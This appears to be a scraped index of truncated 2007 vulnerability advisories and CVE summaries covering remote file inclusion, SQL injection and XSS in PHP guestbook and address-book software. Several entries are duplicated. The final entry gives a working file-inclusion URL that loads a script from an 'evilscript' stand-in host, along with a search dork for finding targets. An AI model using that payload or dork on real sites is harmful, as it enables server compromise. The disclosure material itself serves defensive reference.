Crea-Book <= 1.0 Admin Access Bypass / DB Disclosure / Code Execution

Exploit for unknown platform in category web applications ===================================================================== Crea-Book fr/en | | Date : 2007-04-10 | | Last update : 2007-04-10 | | |...

HIOX GUEST BOOK (HGB) 4.0 - Remote Code Execution

+========================I=R=A=N============================+ HGB Version 4.0 =========================I=R=A=N============================= +========================I=R=A=N============================+ Author : Dj7xpl / Dj7xplatYahoodotcom...

Scorp Book 1.0 (smilies.php config) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Scorp Book 1.0 smilies.php config Remote File Inclusion Vulnerability ======================================================================= !/usr/bin/perl .-""""""""...

MAMBO &amp; Joomla NFN Address Book v0.4 &#40;nfnaddressbook.php&#41; Remote File Include Vulnerabilities

MAMBO & Joomla NFN Address Book v0.4 nfnaddressbook.php Remote File Include Vulnerabilities script : http://mamboxchange.com/frs/download.php/8191/comnfnaddressbook.zip About : The NFN Address Book manages lists of contacts that can be split into groups and allows for hiding of private contacts...

NFN Address Book mosConfig_Absolute_Path远程文件包含漏洞

NFN Address Book是一款基于PHP的WEB应用程序。 NFN Address Book不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'nfnaddressbook.php'脚本对用户提交的mosConfigAbsolutePath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Mambo NFN Address Book 0.4 Joomla NFN Address Book 0.4 目前没有解决方案提供： http://mamboxchange.com/projects/nfnaddressbook...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in the NFN Address Book comnfnaddressbook 0.4 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 components/comnfnaddressbook/nfnaddressbook.php or 2...

CVE-2007-1596

Multiple PHP remote file inclusion vulnerabilities in the NFN Address Book comnfnaddressbook 0.4 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 components/comnfnaddressbook/nfnaddressbook.php or 2...

CVE-2007-1596

CVE-2007-1596 affects NFN Address Book (com_nfn_addressbook) v0.4 for Mambo/Joomla. The vulnerability is a PHP remote file inclusion via a URL supplied to mosConfig_absolute_path in either components/com_nfn_addressbook/nfnaddressbook.php or administrator/components/com_nfn_addressbook/nfnaddress...

CVE-2007-1596

Multiple PHP remote file inclusion vulnerabilities in the NFN Address Book comnfnaddressbook 0.4 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 components/comnfnaddressbook/nfnaddressbook.php or 2...

Mambo Component nfnaddressbook 0.4 - Remote File Inclusion

MAMBO & Joomla NFN Address Book v0.4 nfnaddressbook.php Remote File Include Vulnerabilities script : http://mamboxchange.com/frs/download.php/8191/comnfnaddressbook.zip About : The NFN Address Book manages lists of contacts that can be split into groups and allows for hiding of private contacts...

Mambo Component nfnaddressbook 0.4 - Remote File Inclusion

Mambo Component nfnaddressbook 0.4 - Remote File Inclusion MAMBO & Joomla NFN Address Book v0.4 nfnaddressbook.php Remote File Include Vulnerabilities script : http://mamboxchange.com/frs/download.php/8191/comnfnaddressbook.zip About : The NFN Address Book manages lists of contacts that can be...

Unfixed XSS vulnerability at book.26cc.com

Security researcher MaXWeL, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting book.26cc.com, which at the time of submission ranked 533111 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/03/2007. It is currently...

Unfixed XSS vulnerability at book.26cc.com

Security researcher MaXWeL, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting book.26cc.com, which at the time of submission ranked 533111 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/03/2007. It is currently...

WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications ================================================================ WEBO Web Organizer = 1.0 baseDir Remote File Inclusion Vuln ================================================================ \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ /...

WEBO (Web ORGanizer) 1.0 - 'baseDir' Remote File Inclusion

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV67$2007 ----------------------------------------------------------------------------------------- ECHOADV67$2007 WEBO Web Organizer = 1.0 baseDir Remote File Inclusion Vulnerability...

Sql injection

Multiple SQL injection vulnerabilities in Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued ABC 1.00 allow remote attackers to execute arbitrary SQL commands via the id parameter to the 1 updateRow and 2 deleteRow functions in functions.php. NOTE: some of these details are obtained...

CVE-2007-1121

CVE-2007-1121 is a documented SQL injection in Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued (ABC) 1.00. The vulnerability allows remote attackers to manipulate the database by supplying crafted id values to updateRow and deleteRow functions in functions.php. The affected produ...

CVE-2007-1122

CVE-2007-1122 affects Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued (ABC) versions 1.00 and 1.01. The vulnerability is a SQL injection in the id parameter used by the functions.php routines updateRow and deleteRow. The flaw enables remote execution of arbitrary SQL commands as ...

CVE-2007-1121

Multiple SQL injection vulnerabilities in Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued ABC 1.00 allow remote attackers to execute arbitrary SQL commands via the id parameter to the 1 updateRow and 2 deleteRow functions in functions.php. NOTE: some of these details are obtained...

Ultimate Fun Book 1.02 &#40;function.php&#41; Remote File Include Vulnerability:

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...